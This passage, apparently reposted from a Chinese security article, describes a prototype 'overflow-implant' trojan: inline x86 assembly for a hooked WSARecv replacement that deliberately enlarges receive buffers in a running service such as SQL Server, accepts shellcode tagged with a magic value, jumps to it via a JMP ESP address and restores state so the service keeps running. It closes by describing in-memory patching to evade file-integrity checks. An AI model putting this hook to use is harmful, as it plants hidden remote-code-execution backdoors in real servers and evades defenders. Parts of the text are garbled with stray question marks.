4. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用

b) WSARecv函數(shù)的轉(zhuǎn)發(fā)的溢出實(shí)現(xiàn)和演示
那么對于RECV轉(zhuǎn)發(fā)溢出大家很熟悉了,但這是否限制了我們的應(yīng)用呢?因?yàn)槎鄶?shù)的應(yīng)用是用WSARECV函數(shù)來實(shí)現(xiàn)的,其實(shí)我們先就有一個(gè)結(jié)論
是:
我們的溢出植入只對函數(shù)調(diào)用級別的通用,也就是說無論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對應(yīng)的函數(shù)C,則對A和B的C函數(shù)的
溢出植入都是通用的。針對不同的函數(shù),只要這個(gè)函數(shù)形如FUN(BUF,LEN),LEN是指定BUF長度的函數(shù),其實(shí)都可以被植入溢出漏洞的。
那么我們就來實(shí)現(xiàn)一下對WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替換函數(shù)
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv?????????????? //判斷是否允許在空間范圍內(nèi)溢出
sub esp,119ch??????????????? //擴(kuò)展堆棧
mov eax,[esp+11a0h]???? //保護(hù)環(huán)境變量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push??? ebx??????????????? //保護(hù)積存器
push??? esi
push??? edi
mov???? ebx, [esp+11B0h]?? //保留WSABUF中長度和地址的參數(shù)
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea???? edi, [esp+18H] //保存WSABUF的BUF到BUF1中后內(nèi)容,避免被溢出覆蓋后不能恢復(fù)
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr???? ecx, 2
repe movsd
mov???? ecx, eax
and???? ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H? //擴(kuò)大 WSABUF長度使得其能被溢出
mov???? eax, [esp+11c4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push??? eax
push ebx
mov eax, [esp+11C4h]
push eax
call??? WSARecv ?? //轉(zhuǎn)發(fā)到WSARECV
push ecx??????????????? //保存WSARECV返回的有意義的三個(gè)積存器
push eax
push edx
mov edx,[esi+1190H]? //獲得WSABUF的BUF,如果溢出這寫入的返回地址值
mov ecx,[esp+11b4h]? //獲得如果溢出,則需要恢復(fù)回去的內(nèi)容
mov [esi+1190H],ecx? //恢復(fù)到BUF中
mov ecx,[esp+1ch]??? //讀取保留的返回地址
mov [esp+11b4h],ecx? //恢復(fù)到ESP對應(yīng)的返回地址上,避免被溢出覆蓋,因先保存WSABUF的時(shí)候這個(gè)地址已
經(jīng)被覆蓋了
mov [ebx],edi?????? //寫入WSABUF正常的LEN值
test??? eax, eax???????? //檢查是否接收到包
jne???? loc_4
mov ebx,[esp+11C4H] //獲得收到包的大小
mov ecx,[ebx]
cmp???? ecx, edi??????? //檢查是否溢出
jle???? loc_4
cmp edx,0x90909090? //檢查溢出傳來的返回地址是否和我們規(guī)定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea???? edi, [esp+24H] //拷貝SHELLCODE到我們的BUF1,同時(shí)恢復(fù)WSABUF中其他變量被覆蓋的值,避免以后SHELLCODE
返回后導(dǎo)致異常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H?????????? //寫入JMP ESP的地址,1010101H會在植入時(shí)候通過計(jì)算進(jìn)行正確的替換
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop ??? edi
pop ??? esi
pop ebx
add esp,119cH
retn??? 1ch
}
}
ii. 重載異步IO的SOCKET的內(nèi)存置換的問題
這個(gè)替代函數(shù)比RECV函數(shù)要復(fù)雜一些,因?yàn)檫@個(gè)SOCKET是一個(gè)重載異步IO的SOCKET的,在RECV的時(shí)候,其內(nèi)存是不允許置換的,否則這個(gè)重載
異步IO的SOCKET就會成為一個(gè)非重載異步IO的SOCKET,這樣就會影響正常的應(yīng)用。同時(shí)對執(zhí)行WSARECV后被修改的積存器的保護(hù)也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但擴(kuò)大LEN導(dǎo)致溢出的方法,為了正常返回,則將其可能被溢出覆蓋的內(nèi)容
復(fù)制到BUF1上,如果真的發(fā)生溢出以后,再將溢出內(nèi)容拷貝到BUF1,把BUF1的保存內(nèi)存拷貝到被溢出的BUF上,保證程序的正常運(yùn)行。
iii. 演示SQL SERVER植入WSARecv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
?? 使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序,只修改WSARECV的轉(zhuǎn)發(fā)函數(shù)體
?? 給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
5. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用

c) 只修改內(nèi)存影象避免文件完整性檢查
最后的討論是,同樣,這樣的原理可以只利用到對只修改內(nèi)存影象來到達(dá)溢出植入的目的,這樣就可以避免文件完整性檢查,不過當(dāng)服務(wù)重啟
以后這個(gè)后門和木馬則不可利用了。

總結(jié)

以上是生活随笔為你收集整理的--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。